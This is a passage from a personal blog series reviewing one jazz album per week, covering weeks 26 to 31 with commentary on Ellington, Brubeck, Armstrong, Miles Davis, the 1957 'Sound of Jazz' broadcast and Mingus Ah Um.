he was going <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-7">head-to-head with Count Basie</a>; this week his band has the stage to themselves.</p> <p><em>Ellington Uptown</em> was first recorded in late 1951, amidst a somewhat difficult time for Ellington: his signature big band style was long past its commercial heyday, and several key members of his band departed earlier that year (most notably Johnny Hodges). Meanwhile, one of Ellington's main creative ambitions was to move jazz beyond the three-minute compositions that had originally brought him fame and success. Those forces all coalesce here, and the result is our most symphonic album yet: multiple tracks (especially "A Tone Parallel to Harlem", "The Controversial Suite", and "The Liberian Suite") are extended compositions, featuring semi-formal structures more reminiscent of classical music than of traditional jazz. (There's even strings!) Might this be a precursor to what would later be dubbed "<a rel="external" href="https://en.wikipedia.org/wiki/Third_stream">Third Stream</a>?"</p> <p>I really enjoyed listening to <em>Ellington Uptown</em>, and this week I'd like to comment on some of the individual tracks in more detail. We begin with <strong>"Skin Deep,"</strong> and what a way it is to start! This one grabs your attention from the first note and never lets go. This is also the album's biggest dose of percussion—I haven't measured it exactly, but I'm pretty sure that fully <em>half</em> of this song's 6:49 runtime is just drum solos.</p> <p><strong>"The Mooche"</strong> is slinking and sly; it makes me want to strut around once again in <em><a rel="external" href="https://en.wikipedia.org/wiki/Grim_Fandango">Grim Fandango</a></em>'s Rubacava. There's plenty of solos to go around here, from clarinet to saxophone, but most remarkable is the rumbling wah-wahs from the trombone. (Wikipedia mentions that <a rel="external" href="https://en.wikipedia.org/wiki/Tricky_Sam_Nanton">Tricky Sam Nanton</a>, a long-time member of Ellington's band, was one of the pioneers of that distinctive wah-wah sound, though sadly he passed away before this album's recording.) Side note: I assumed that the titular "mooche" was meant to evoke the French <a rel="external" href="https://fr.wikipedia.org/wiki/Mouche">mouche</a>, but apparently Ellington just meant someone who's always borrowing off of you—y'know, a <em>mooch</em>—which is <a rel="external" href="https://tdwaw.ellingtonweb.ca/supportingwebpages/TheMoochOrTheMooche.html">sometimes how the title gets spelled</a>. Oh, how I love a side of orthographic pedantry to complement my jazz.</p> <p><strong>'Take the "A" Train'</strong> is the only track I'm mixed on. I first fell in love with that tune—an Ellington standard—in the <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-7">band battle version with Basie</a>; in my opinion, that recording still has more raw energy. The <em>Ellington Uptown</em> version adds some vocals (including scatting) that I could take or leave, but doubling the track length to eight minutes gives them more liberty to explore and experiment, which is fun.</p> <p><strong>"A Tone Parallel to Harlem"</strong> captures the quotidian routines of a community, from the bustle and excitement of dancing in the street, to quiet, reflective evenings in the park. Wikipedia cites <a rel="external" href="https://en.wikipedia.org/wiki/Ellington_Uptown#cite_note-5">a favourable comparison</a> to Gershwin's <a rel="external" href="https://en.wikipedia.org/wiki/Rhapsody_in_Blue">Rhapsody in Blue</a>, which I find quite apt. Listen carefully to the trumpet voice at the very beginning, which plaintively welcomes you to "Haaar-lem."</p> <p>Of the two <strong>Controversial Suite</strong> tracks, "Later" is the one that sticks with me, owing to its distinctive "tick-tock" pulse throughout. I need a mod to make it the background music for a certain <a rel="external" href="https://www.mariowiki.com/Tick-Tock_Clock_(race_course)">Mario Kart course</a>…</p> <p>Finally, in the <strong>Liberian Suite</strong>, I love the sax solo at the end of Dance No. 1, as well as the strings in Dance No. 3, but the vocals in "I Like the Sunrise" are the real show-stopper for me. The lyrics are simple, but the melody is so moving, and delivered with such confidence, that I'm enthralled every time. This was commissioned by the government of Liberia to celebrate their centennial—I wonder if it's still known there.</p> <p>So there you have it: nearly 80 minutes total (in this extended CD re-release) and I like it all. Perhaps this makes me unhip, but I have a real soft spot for big band: not to pooh-pooh the bebop virtuosos, but by dint of sheer numbers, big bands offer a fullness and richness that no small ensemble can equal. Couple that with some pointers on structure and instrumentation from the classical world—without any of the possibly attendant stodginess—and you've got a recipe for some great tunes.</p> <p><em>Favourite track:</em> The Mooch(e)</p> <h2 id="week-27">Week 27: <a href="https://musicbrainz.org/release-group/94d23354-34ba-3fc8-8f92-37e600d7a095">Jazz Goes to College</a></h2> <p><em>Jazz Goes to</em> College‽ As a card-carrying pseudo-intellectual, this title has me salivating: I can't credibly claim to have jazz in my <em>soul</em>, but perhaps Brubeck and his quartet have distilled jazz's inscrutable mystique into pure mathematical equations; at last, unquestionable hipness might be within reach for any square willing and able to bring their intellect to bear upon the subject.</p> <p>…but alas, the title is rather more literal than that: this album is a compilation of live sessions recorded at several universities across the Midwest. <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-6">Time Out</a></em>, also by Dave Brubeck Quartet, is one of my absolute favourite albums from the first half of our experiment, so I came into this week with high hopes. I leave the week… disappointed, but only very slightly so.</p> <p>You see, what most captured my imagination in <em>Time Out</em> was the album's signature rhythmic experimentations, most notably in "Blue Rondo à la Turk," which tumbles along with the frenetic insistence of a toddler who has just learned to walk—every step has their entire momentum behind it; looking on, one is amazed that either avoids faceplanting. <em>Jazz Goes to College</em> (recorded five years before <em>Time Out</em>) doesn't feature similar innovations. What it does offer, however, is a fine selection of very cool jazz. I've <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-21">previously written</a> that I'm more partial to the up-tempo, fiery stuff; while I still think that's true in general, this album Bru-bucks that trend. The tracks here are generally relaxed and minimal, with Brubeck and Desmond frequently trading the spotlight, but without ever growing boring or bland. Much of that feat is owed to their musicianship: perhaps I'm deluding myself, but my immediate reaction to first hearing Desmond on this album was <em>recognition</em>. I'd surely fail any comprehensive blind saxophonist identification quiz, but those first phrases immediately called to mind both <em>Time Out</em> as well as <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-14">Two of a Mind</a></em>; similarly, Brubeck is quite distinct amongst the many pianists we've heard so far.</p> <p>As for the tracks themselves: we start off strong with almost 12 minutes of "plain old blues"<sup class="footnote-reference"><a href="#college-plain-old-blues">26</a></sup> in "Balcony Rock." Desmond's smooth, signature style never disappoints, and it's only heightened by the contrasting tension Brubeck introduces; there's a series of chords that build, swell, and resolve around the 6:45 mark that perfectly encapsulate how a jazz pianist can thrill without invoking the sheer virtuosity of, say, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-18">Art Tatum</a>. "Le Souk" is my favourite track—it would be another several years before the quartet served as <a rel="external" href="https://archive.org/details/1959yearthatchan00kapl/page/130/mode/2up">ambassadors abroad</a> and brought back Turkish rhythms for "Blue Rondo," but the early Middle-Eastern melodic influences evident in "Le Souk" already presage those later explorations. Just like <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-26">last week</a>, I'm somewhat flat on another cover of "Take the 'A' Train": its iconic, rollicking piano riff has always been at the heart of the song for me; here, that element is downplayed so that Brubeck and the gang can try on some fresh ideas—none of which exceed the original to my ear. In fairness, "Take the 'A' Train" was 15 years old at the time of this recording; I suppose that it would've been decidedly unhip for a cool jazz group to play an ancient standard "straight."</p> <p>All told, while <em>Jazz Goes to College</em> wasn't the revelation I was hoping for, it's still a laudable lecture from a pre-eminent professor of cool jazz—well worth trekking across campus for, hangovers be damned.</p> <p><em>Favourite track:</em> Le Souk</p> <h2 id="week-28">Week 28: <a href="https://musicbrainz.org/release-group/e67a8008-e2a1-3df0-95d5-81c30c319175">Satch Plays Fats: A Tribute to the Immortal Fats Waller</a></h2> <p>Well, it's week 28 and we've officially come full circle: ol' Pops was the one to <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-1">kick this whole thing off</a>, and this week he's back once again. Interestingly, that earlier album and this one were contemporaneous releases as well: <em>Louis Armstrong Plays W. C. Handy</em> helped revive public interest in Armstrong in 1954; <em>Satch Plays Fats</em> was the follow-up in 1955. Overall, I prefer <em>Armstrong Plays W. C. Handy</em>: they both feature stellar vocals and trumpeting from Armstrong, alongside great banter with Velma Middleton on several tracks, but the nearly nine-minute-long "St. Louis Blues" on the <em>Handy</em> album is unparalleled, and the whole thing is chock-full with a sheer joy that I don't think has been matched by anything else we've heard.</p> <p>But beyond that simple comparison, what shall we chew on this week? Regular readers know that there isn't any prescribed structure for a <em>Fifty weeks of jazz</em> entry—perhaps we ought to examine <a rel="external" href="https://en.wikipedia.org/wiki/Fats_Waller">this album's namesake</a>, or the fascinating life of <a rel="external" href="https://en.wikipedia.org/wiki/Andy_Razaf">his chief collaborator</a>? Or what about <a rel="external" href="https://en.wikipedia.org/wiki/George_Avakian">this Avakian fellow</a>, whose name seems to grace every Columbia jazz record; ought we pull back the curtain there? Not to mention the music itself; there's some overlap with a <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-2">Sarah Vaughan album</a>; perhaps we're due for another <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-24">Standards Showdown</a>? All good options, but this week I want to zero in on one song in particular: one that hooked me with its intro, but kept me on the line with a linguistic puzzle.</p> <p>Specifically, my favourite track this week is the lively and flirtatious "All That Meat and No Potatoes." I mentioned earlier that I love the banter between Armstrong and Middleton; this track's got it in spades. But the music's just as fun: Armstrong opens with a wide, bright, jaunty riff that he explores while the background instruments each take a turn joining in on the fun. Unsurprisingly, the chorus the really swings—but, ahem, what does the phrase "all that meat and no potatoes" <em>mean</em>, exactly? I'll give you the first half of the lyrics; see if you can figure it out (below, Armstrong's part is bolded):</p> <blockquote> <p>Hey Pops! What’s wrong Daddy?<br> You look like something's botherin’ you<br> <b>There's nothin’ botherin’ me honey<br> That a piece of roast beef can’t fix up</b></p> <p>A man works hard, then comes on home<br> Expects to find stew with that fine ham bone<br> He opens the door, then starts to lookin’<br> <b>Say, woman, what’s this stuff you cookin’?<br></p> <p>Now all that meat and no potatoes<br> It just ain’t right, just like green tomatoes<br></b> Here I’m waitin’<br> Palpitatin’<br> With all that meat <b>and no potatoes</b></p> </blockquote> <p>Pencils down—what did you come up with? Of course, we all know the phrase "meat and potatoes," meaning something plain or pedestrian—but that doesn't seem to quite fit here. "All that meat and <em>no</em> potatoes" suggests a certain imbalance, but in the context of 1940s,<sup class="footnote-reference"><a href="#all-that-meat-first-recording">27</a></sup> that strikes me as a <em>fortuitous</em> one: surely midst WWII you'd happily take a double serving of meat and forego the potatoes?</p> <p>The trick to deciphering this one is to understand that every song from the 1930s to the 1950s<sup class="footnote-reference"><a href="#dirty-food-songs">28</a></sup> that purports to be about food is actually about sex. Through that lens, we realize that Fats isn't really complaining about his dinner (his nickname matched his figure; he hardly seems the type). Rather, he's lamenting that his otherwise buxom ("all that meat") lady friend sports somewhat underdeveloped bazongas ("and no potatoes!")—the breasts, of course, being the most tuberous aspect of the female physique.</p> <p>Don't believe me? I don't blame you; it certainly doesn't seem to agree with certain <a rel="external" href="https://idioms.thefreedictionary.com/all+that+meat+and+no+potatoes">dictionaries of idioms</a>. But whereas other, <a rel="external" href="https://digitalcitizen.ca/2010/10/29/a-dirty-song-called-all-that-meat-and-no-potatoes-and-lyrics/">lesser blogs</a><sup class="footnote-reference"><a href="#digital-citizen">29</a></sup> are happy to simply purport this as fact, here at the Simpsonian we pride ourselves on our <em>research</em>, and by research, I mean asking ChatGPT. Spare me your scowl, philistine; yes, upon first asking, ChatGPT simply regurgitated many of the same sources upon which I've just heaped scorn, but—and here's the thing!—you can just <em>ask it for a better source</em>. In the present case, that yielded <a rel="external" href="https://greensdictofslang.com/">Green's Dictionary of Slang</a>, which appears to have garnered praise from the academics, in addition to the imprimatur of Oxford University Press (but see also <a rel="external" href="https://languagelog.ldc.upenn.edu/nll/?p=3847">some mild criticism</a> from—where else?—Language Log). Green has <a rel="external" href="https://greensdictofslang.com/entry/psv7z7a#j775cca">a direct hit</a> for our phrase, which confirms the ribald definition, and even offers a further literary citation as evidence. It also offers many other <em>filthy</em> euphemistic uses of the word "meat" (including an application of "all that meat and no potatoes" to <a rel="external" href="https://greensdictofslang.com/entry/psv7z7a#vs4kh5y">the male anatomy</a>), but that's neither here nor there.</p> <p>Well, that about does it for me this week; I'm stuffed. There's many fine details we haven't the time to discuss (like the "Rhapsody in Blue" quotation in "Ain't Misbehavin’"!), but allow me to steal Mike Judge's conclusion for myself: at the end of <em><a rel="external" href="https://en.wikipedia.org/wiki/Office_Space">Office Space</a></em>, <a rel="external" href="https://www.youtube.com/watch?v=Gk7Jjl3qX5o&amp;t=132s">the flames devouring Initech</a> are stoked by some hot—and strangely familiar—background jazz.<sup class="footnote-reference"><a href="#office-space-spoilers">30</a></sup> You guessed it—all that meat and <em>no</em> potatoes!</p> <p><em>Favourite track:</em> All That Meat and No Potatoes</p> <h2 id="week-29">Week 29: <a href="https://musicbrainz.org/release-group/6477da93-2286-4919-a898-031caa34c307">’Round About Midnight</a></h2> <p>We first heard Davis on his best-known album, <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-5">Kind of Blue</a></em>; this week, with <em>’Round About Midnight</em>, we wind back the clock just a few years before that landmark release. Recall that <em>Kind of Blue</em> was a pioneering exercise in "modal jazz;" by contrast, <em>’Round About Midnight</em> is more transitional: we hear some of Davis' last mainstream work in bebop/hard bop alongside experiments in a "cooler" style that would eventually lead to him advancing the frontiers of jazz.</p> <p>There's lots to love in this album: for me, Davis &amp; Coltrane generally steal the show (their interplay and tone on "Bye Bye Blackbird"—Coltrane's in particular—are a real highlight), but the rest of this "<a rel="external" href="https://en.wikipedia.org/wiki/Miles_Davis_Quintet#First_Great_Quintet/Sextet_(1955%E2%80%9358)">first great quintet</a>" each has their moments too, like the piano at ~5:45 in "All of You," the bass solos in "Little Melonae," or the drums at the end of Budo (which instantly called <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-3">Art Blakey</a> to mind for me, though it's actually <a rel="external" href="https://en.wikipedia.org/wiki/Philly_Joe_Jones">"Philly Joe" Jones</a>).</p> <p>Of those many delights, the track that particularly stood out to me on first listen was "Ah-Leu-Cha." "Ah-Leu-Cha" is a <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-25">Charlie Parker</a> composition;<sup class="footnote-reference"><a href="#ah-leu-cha-origin">31</a></sup> we're firmly in bebop territory here (and the lively tempo comes in strong contrast to the relaxed "’Round Midnight" that precedes it). Fascinatingly though, Parker's original recording was noticeably more relaxed than what's on this album—and in at least one live performance, Davis counts the group in on a truly <em>blistering</em> tempo. Listen for yourself (for a simulated K-hole, repeatedly listen to the last one, then immediately drop back down to the first):</p> <ul> <li>Slow (relatively speaking!): <a rel="external" href="https://www.youtube.com/watch?v=uQbWYgmiyFw">original Parker recording</a></li> <li>Medium: <a rel="external" href="https://www.youtube.com/watch?v=XG0iJDrrtw0">’Round About Midnight</a></li> <li><em>Ludicrous</em> speed: <a rel="external" href="https://www.youtube.com/watch?v=sPvybOgo_S0">Miles &amp; Monk at Newport</a> <ul> <li>To me, this one is frenetic but not awful; I'm generally Team Faster Is Better. At least one critic disagrees: as Jack Chambers writes on page 288 of <a rel="external" href="https://archive.org/details/milestonesmusict0000cham/page/n337/mode/2up">his epic biography of Davis</a>: "The sextet's performance is substandard. Davis' most conspicuous contribution comes in tapping out overzealous tempos on all tunes, including a breakneck tempo on Ah-Leu-Cha that reduces the ensemble to shambles."<sup class="footnote-reference"><a href="#chambers-reference">32</a></sup></li> <li>Love it or hate it, this has been on the official Miles Davis YouTube channel for nearly a decade and has hardly 500 views (~1% of which are from me)—that seems wildly low.</li> </ul> </li> </ul> <p>(Hat tip to <a rel="external" href="https://dgmono.com/">Deep Groove Mono</a>, for breaking down the relevant Ah-Leu-Cha history in <a rel="external" href="https://dgmono.com/2021/03/19/origins-of-bop-charlie-parker-miles-davis-ah-leu-cha/">this very helpful post</a>.)</p> <p>Overall, I'm still not sure where to place <em>’Round About Midnight</em>—in many ways, it feels like an album caught between worlds. If I want nothing but hard bop, I'd sooner reach for <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-3">The Messengers</a>, and if I really want to cool off, there's no beating <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-5">Kind of Blue</a></em>. But if all you're looking for is some great jazz from a formidable quintet, and you're not too picky on subgenres, you could do a lot worse than <em>’Round About Midnight</em>.</p> <p><em>Favourite track:</em> Ah-Leu-Cha</p> <h2 id="week-30">Week 30: <a href="https://musicbrainz.org/release-group/57779823-644c-3ffd-84ac-a0f10b177c32">The Sound of Jazz</a></h2> <p>Why is nearly every mass-market, commercially-produced creative work so universally crap? You know the answer—perhaps you've lived it—pointy-haired bosses, sticking their noses where they don't belong, rooting madly for pecuniary truffles to sate the unending appetite of beancounters and shareholders alike—all at the expense of preventing the <em>true</em> visionaries from making something special.</p> <p>But, rare as they may be, there are yet exceptions. One such shining example took place in 1957, when one uncompromising TV producer (<a rel="external" href="https://en.wikipedia.org/wiki/Robert_Herridge">Robert Herridge</a>) somehow convinced CBS to give him creative <em>carte blanche</em> in putting together a live, one-hour jazz concert for TV: <em>The Sound of Jazz</em>.</p> <p>Look, technically I should be reviewing <em>The Sound of Jazz</em>, the album recorded from the rehearsal for the TV broadcast. And I generally do prefer the precision and perfectionism that can only really be achieved in the studio. But just as poetry is meant to be appreciated as more than words on paper—it only truly comes alive in our voices—so too jazz ought to be more than just sterile, pristine recordings; it should also be shared, performed, <em>celebrated</em>. So if you happen to have a spare hour, I encourage you to tune in to <em><a rel="external" href="https://archive.org/details/thesoundofjazz1957">The Sound of Jazz</a></em>, the TV program, for yourself. Not only will you hear some great jazz, you'll also get to watch some jazz greats not merely <em>performing</em>, but also luxuriating in both the music and the company of each other. Allow me to take you through my favourite vignettes of the broadcast.</p> <p><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-29">Last week</a>, we heard from "Philly Joe" Jones on drums. This week we once again have jazz drummer Jo Jones on percussion, who, somewhat surprisingly, is a completely different guy. (He was sometimes nicknamed "Papa" Jo Jones to distinguish him from the younger Philly—despite the 12-year age difference between Philly and Papa, the shared name seems to have imparted a mortal synchronicity: they died within days of each other in 1985.) As it happens, we've encountered Jo Jones before; remember <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-25">Charlie Parker</a>'s "origin story" of having a cymbal thrown at him during a cutting session gone awry? Yeah, that was Jo Jones. For the life of me, I cannot reconcile that outburst with the happy-go-lucky percussionist featured in <em>The Sound of Jazz</em>. Seriously, how can this <a rel="external" href="https://youtu.be/K1Ok2Gjf1T4?t=906">grinning goof</a> be the same person who "<a rel="external" href="https://www.youtube.com/watch?v=ART5pmT6zro&amp;t=149s">nearly decapitates</a>" Bird?<sup class="footnote-reference"><a href="#fletcher-story">33</a></sup></p> <p>Man, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-11">Thelonious Monk</a> sticks out like a sore thumb here. Not just in <em>what</em> he plays—though his avant-garde composition "Blue Monk" forms a notable contrast with the other tracks, which lean more toward blues and swing—but also in <em>how</em> he plays the piano. Compare <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-7">Basie</a> <a rel="external" href="https://youtu.be/K1Ok2Gjf1T4?t=1329">elegantly tickling the ivories</a> while <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-4">Billie Holiday</a> hovers at his shoulder, with Monk, <a rel="external" href="https://youtu.be/K1Ok2Gjf1T4?t=1443">who pounds the keys like they owe him money</a>. The cameraman knew how to milk this for maximum drama: check out <a rel="external" href="https://youtu.be/K1Ok2Gjf1T4?t=1480">this shot</a> of Basie watching Monk play (seated directly across from each other) and decide for yourself what Basie's thinking in that moment. (Monk <a rel="external" href="https://newrepublic.com/article/72966/thelonious-monk-does">did not take kindly</a> to that stare!)</p> <p>I hadn't even heard of <a rel="external" href="https://en.wikipedia.org/wiki/Jimmy_Giuffre">Giuffre</a> before this, let alone his trio, but their performance of "The Train and the River" is by far my favourite track. Seeing it live only further accentuates the magic: sometimes I find a trio to be a little bare in its sound, but that's not the case here; every time I listen I'm blown away by the depth and richness of texture that they're able to evoke. Note to self: pick up another one of their albums sometime.</p> <p>But the real star of the show is Holiday herself. That she even appears is a minor miracle: the TV execs awoke in a meddlesome mood the day of the performance, and sent a note to the studio: "we must not put into America's homes, especially on Sunday, someone who's been imprisoned for drug use."<sup class="footnote-reference"><a href="#bitter-crop">34</a></sup> Herridge informed them that if Billie was through, so were he and the other key staff. The execs relented, and in doing so created the most heart-wrenching moment of the evening. You see, Holiday had <a rel="external" href="https://www.mosaicrecords.com/lester-young-and-billie-holiday/">a complicated relationship</a> with Lester Young, who was playing saxophone that night: decades before, the two had been frequent collaborators and close friends, but the vicissitudes of time had since pulled them apart. Young was in poor health at this point, and wasn't even expected to stand for his solo—but <a rel="external" href="https://youtu.be/K1Ok2Gjf1T4?t=2139">watch what happens</a> when he gets his moment with Lady Day.</p> <p>There wasn't a dry eye in the control room. Young died within two years; Holiday followed months after.</p> <br> <p>Writing for <em>Harper's</em> magazine, Eric Larrabee proclaimed <em>The Sound of Jazz</em> to be "the best thing that ever happened to television." It's hard to agree with that statement in 2025 (after all, we've had <em>Better Call Saul</em> since), but I think you'd still be hard-pressed to find an introduction to jazz—not just jazz-the-music, but jazz-the-people, jazz-the-<em>culture</em>—better than <em>The Sound of Jazz</em>.<sup class="footnote-reference"><a href="#broadcast-vs-album">35</a></sup></p> <p><em>Favourite track:</em> The Train and the River</p> <h2 id="week-31">Week 31: <a href="https://musicbrainz.org/release-group/48ec720b-2fc2-35dd-8130-5b186c4abcbc">Mingus Ah Um</a></h2> <p>After 31 weeks of jazz research, I've finally hit upon a foolproof signal to identify the true <em>crème de la crème</em> among jazz albums. It's quite simple, actually: if the cover art is a painting by <a rel="external" href="https://en.wikipedia.org/wiki/S._Neil_Fujita">S. Neil Fujita</a>, the album will be life-changing.<sup class="footnote-reference"><a href="#s-neil-fujita">36</a></sup> Our first such example was <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-6">Time Out</a></em>, back in week 6—a strong contender for my favourite album of the first half, rivaled primarily by <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-9">Tijuana Moods</a></em> (also by Mingus!)—and <em>Mingus Ah Um</em><sup class="footnote-reference"><a href="#mingus-ah-um-title">37</a></sup> rivals or exceeds <em>Time Out</em> in my estimation.</p> <p>As such, this album deserves a proper track-by-track commentary. If you want an actually <em>insightful</em> rendition of that premise, allow me to direct you towards <a rel="external" href="https://altrockchick.com/2022/08/14/charles-mingus-mingus-ah-um-classic-music-review/">altrockchick</a>, who artfully blends deep musical insight with relevant historical context. If, on the other hand, you're satisfied with the flaccid pseudo-intellectualism upon which we pride ourselves here at the Simpsonian, don't touch that dial.</p> <h2 id="tracks">Tracks</h2> <h3 id="better-git-it-in-your-soul">Better Git It in Your Soul</h3> <p>If I could only keep one track from <em>everything</em> we've heard so far, this would be it. "Better Git It in Your Soul" is a pure expression of jazz <em>joy:</em> the rhythms are infectious, the melodies are catchy, and Mingus himself can't help but inject some background gospel extemporizations. In the sitcom adaptation of my life, this is theme song—friends appear one at a time in the background, looming like phantoms until we make eye contact and share an "<a rel="external" href="https://i.kym-cdn.com/photos/images/newsfeed/000/313/188/13b.jpg">oh you</a>" look, at which point they make their madcap dash to centre stage as the rapid sax/brass section plays.</p> <p>Far be it from this neophyte to attempt to gatekeep jazz, but if this track doesn't do it for you, I'm not sure anything in the jazz canon will—just as the title proclaims, you better git it in your soul!</p> <h3 id="goodbye-pork-pie-hat">Goodbye Pork Pie Hat</h3> <p>I've noticed that seemingly wacky track titles are not uncommon in jazz (seriously, check out some of the ones on <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-03/">The Jazz Messengers</a></em>); at first blush, I assumed this was another entry in that storied tradition. The truth is far more solemn: a <a rel="external" href="https://en.wikipedia.org/wiki/Pork_pie_hat">pork pie hat</a> simply refers to a style of hat that was popular in the 1930s &amp; 1940s—a style that was particularly favoured by prominent saxophonist <a rel="external" href="https://en.wikipedia.org/wiki/Lester_Young">Lester Young</a>. We touched on one of Young's tragic final performances <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-30">last week</a>—this composition is a moving elegy to Young, and the first of several references Mingus makes to his musical forebears on this album.</p> <h3 id="boogie-stop-shuffle">Boogie Stop Shuffle</h3> <p>But Mingus doesn't dwell on the tragic; we immediately transition to an upbeat boogie that stays firmly lodged in your eardrums long after the album is done. The piano keeps that line swinging on repeat pretty well throughout the song, while the other voices take turns layering other ideas on top.</p> <h3 id="self-portrait-in-three-colors">Self-Portrait in Three Colors</h3> <p>Mingus again pumps the brakes with another slower, searching track. The title offers a puzzle that's somewhat beyond my discernment: what exactly are the three colours that comprise this self-portrait? I assumed they'd appear "temporally" (i.e., one after the other), but I don't hear any obvious transitions to suggest that. Perhaps each instrument is supposed to be carrying a colour?</p> <h3 id="open-letter-to-duke">Open Letter to Duke</h3> <p>Another fantastic—if somewhat disjointed?—track. We start firmly in upbeat bebop territory, but we don't stay there long: just before the two minute mark (and just after a short drum solo), a theme is introduced that, to me, is the most memorable part of the song—a high note, followed by a rapid "slide" down ending with a slight dissonance that continues to be explored throughout the middle of the track; slowly pulled apart like a confectioner working taffy. When the theme is finally restated at 4:15, it feels unavoidable; a black hole drawing us back to where we started. And yet, it isn't <em>really</em> inevitable—just as we abruptly cut from the hard bop to this section, Mingus takes yet another unexpected turn around 5:10 and discards the dissonance in favour of a jaunty staccato theme to close out the last ~40 seconds. (Wikipedia mentions this track was based on three earlier Mingus compositions; perhaps that explains this track's patchwork nature?)</p> <p>If you've paid even a modicum of attention on our jazz journey, you'll have clocked that the title here is an obvious nod to <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-26">Duke Ellington</a>, one of America's most-beloved bandleaders. Based on the phrasing of the title, I had assumed this track was antagonistic: a rising star firing a salvo against the old guard; rejecting accepted conventions in favour of blazing new trails. That happens to be completely wrong on all accounts; Ellington was one of the earliest and most formative musical influences on the young Mingus. Later in life they would go on to collaborate professionally, though their time together didn't <a rel="external" href="https://curtjazz.com/2019/03/02/duke-fires-mingus-juans-an-old-problem/">last</a> <a rel="external" href="https://medium.com/cuepoint/the-eloquent-firing-of-charles-mingus-by-duke-ellington-a20dc350e4fa">long</a>…</p> <h3 id="bird-calls">Bird Calls</h3> <p>Aha! A straight bebop composition with "Bird" in the title on an album like this? That's an easy slam dunk; of course it's a reference to <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-25">Charlie Parker</a>. Except, apparently this is the exception that proves the rule; quoting from <a rel="external" href="https://www.charlesmingus.com/mingus/mingus-explains-song-titles">charlesmingus.com</a>: "It wasn't supposed to sound like Charlie Parker. It was supposed to sound like birds—the first part." Now I'm confused on two counts: first, because that seems utterly implausible—Mingus was dismissive of Parker at first, but eventually came to recognize him as a jazz genius; how could this <em>not</em> be a reference to him? Second, I can hear the bird calls at the very <em>end</em>—but the beginning? Not so much.</p> <h3 id="fables-of-faubus">Fables of Faubus</h3> <p>Another highlight of the album, <em>selon moi</em>. This is also our first taste of Mingus's political side: the titular Faubus is <a rel="external" href="https://en.wikipedia.org/wiki/Orval_Faubus">Orval E. Faubus</a>, best-known for sending in the Arkansas National Guard to prevent black students from attending a local high school (in stark defiance of the Supreme Court's then-recent decision in <em>Brown v. Board of Education</em>). Especially given Mingus's multiracial background, he was (appropriately) pissed off by this stunt, and originally wrote "Fables of Faubus" as what today we would call a diss track. Now, you might be understandably confused as to how a groovin', struttin', but importantly <em>instrumental</em> song might communicate these political overtures, and the answer is (as always) the meddling interference of music executives. "Fables of Faubus" originally <em>did</em> feature lyrics that leave little doubt regarding Mingus's political leanings, but spineless Columbia Records insisted they be removed from the album. Mingus found a way, though—a year later he released <em><a rel="external" href="https://en.wikipedia.org/wiki/Charles_Mingus_Presents_Charles_Mingus">Charles Mingus Presents Charles Mingus</a></em> with the more independent label "Candid," which allowed Mingus to release the track as he had always intended (titled "Original Faubus Fables" on that album—yes, that album is on my "must acquire" shortlist).</p> <h3 id="pussy-cat-dues">Pussy Cat Dues</h3> <p>This track is notable for its changeup in the woodwinds: <a rel="external" href="https://en.wikipedia.org/wiki/John_Handy">John Handy</a> swaps his alto for a clarinet for the only time on this album, and the resulting solo is smooth and cool—somewhat reminiscent of earlier jazz, based purely on that instrumentation (<a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-15">Benny Goodman</a> comes to mind), but still remaining distinctly modern. (There's another great Mingus solo on this one too—at over nine minutes in length, everyone gets space to have some fun.)</p> <p>Nothing against "Pussy Cat Dues," but for my money the tracks from here on out don't shine quite as brightly as what we've heard already—in context of jazz as a whole, each definitely holds their own, but the best of this album really is a cut above.</p> <h3 id="jelly-roll">Jelly Roll</h3> <p>Yet another homage from Mingus, once more helpfully identified in the title—this time the subject is <a rel="external" href="https://en.wikipedia.org/wiki/Jelly_Roll_Morton">Jelly Roll Morton</a>, one of jazz's earliest performers. (So early, in fact, that he claimed to have invented jazz entirely.) In <em>Myself When I Am Real</em>, Gene Santoro's biography of Mingus, this track is described as an ingenious blending of old and new; in particular, each soloist was asked to play an old-style solo followed by a more modern one. That distinction isn't fully obvious to me, but one thing that is is Mingus's bass lines; he really gets a chance to shine on this one (along with some funky percussion).</p> <p>(I am once again indebted to <a rel="external" href="https://altrockchick.com/2022/08/14/charles-mingus-mingus-ah-um-classic-music-review/">altrockchick</a> for the quotation from Santoro.)</p> <h3 id="pedal-point-blues">Pedal Point Blues</h3> <p><em>(This track onward are all bonus tracks, and not present on the original 1959 release.)</em></p> <p>Here's a track that reminds me my knowledge of music theory is sorely underdeveloped: in general, a <a rel="external" href="https://en.wikipedia.org/wiki/Pedal_point">pedal point</a> is when a single note is held or repeated while a dissonant melody plays over top: the pedal point is a niggling itch, a brooding background tension that demands to be resolved by a shift in the main harmony. Wikipedia is rife with examples, but the one most familiar to my ears is Chopin's "<a rel="external" href="https://www.youtube.com/watch?v=J_6APTb3RNQ">Raindrop Prelude</a>," in which a single repeating A♭ contrasts quite differently with the two melodic sections. Alas, for all my straining, my 